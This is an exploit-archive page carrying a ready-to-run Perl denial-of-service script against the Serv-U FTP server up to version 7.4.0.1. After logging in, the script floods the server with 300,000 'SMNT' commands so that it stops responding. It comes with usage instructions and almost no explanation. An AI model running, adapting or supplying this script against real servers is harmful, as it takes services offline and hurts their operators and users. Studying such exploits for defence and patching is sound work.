Home / os / win10

servu-dos.txt

Posted on 16 March 2009

#!/usr/bin/perl
# Soft    : FTP Serv-U
# Version : v7.4.0.1
#
# Denial of Service in Serv-u up to 7.4.0.1 (no crash)
# Just the server is saturated, it stops responding.
#
# Author: Jonathan Salwan
# Mail: submit [AT] shell-storm.org
# Web: http://www.shell-storm.org


use IO::Socket;
print "[+] Author : Jonathan Salwan 
";
print "[+] Soft: FTP Serv-U
";

if (@ARGV < 3)
{
print "[*] Usage: <serv-u.pl> <host> <port>
";
print "[*] Exemple: serv-u.pl 127.0.0.1 21 jonathan toto
";
exit;
}

$ip 	= $ARGV[0];
$port 	= $ARGV[1];
$user	= $ARGV[2];
$pass	= $ARGV[3];

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ip", PeerPort => "$port") || die "
[-] Connecting: Failed!
";

print "
[+] Connecting: Ok!
";
print "[+] Sending request...
";


$evil =	"SMNT
" x 300000;

$after = "x2Ax2A";

print $socket "USER $user
";
print $socket "PASS $pass.$after
";
print $socket "$evil";

sleep(1);
close($socket);

print "[+]Done! the server is saturated.
";

 

TOP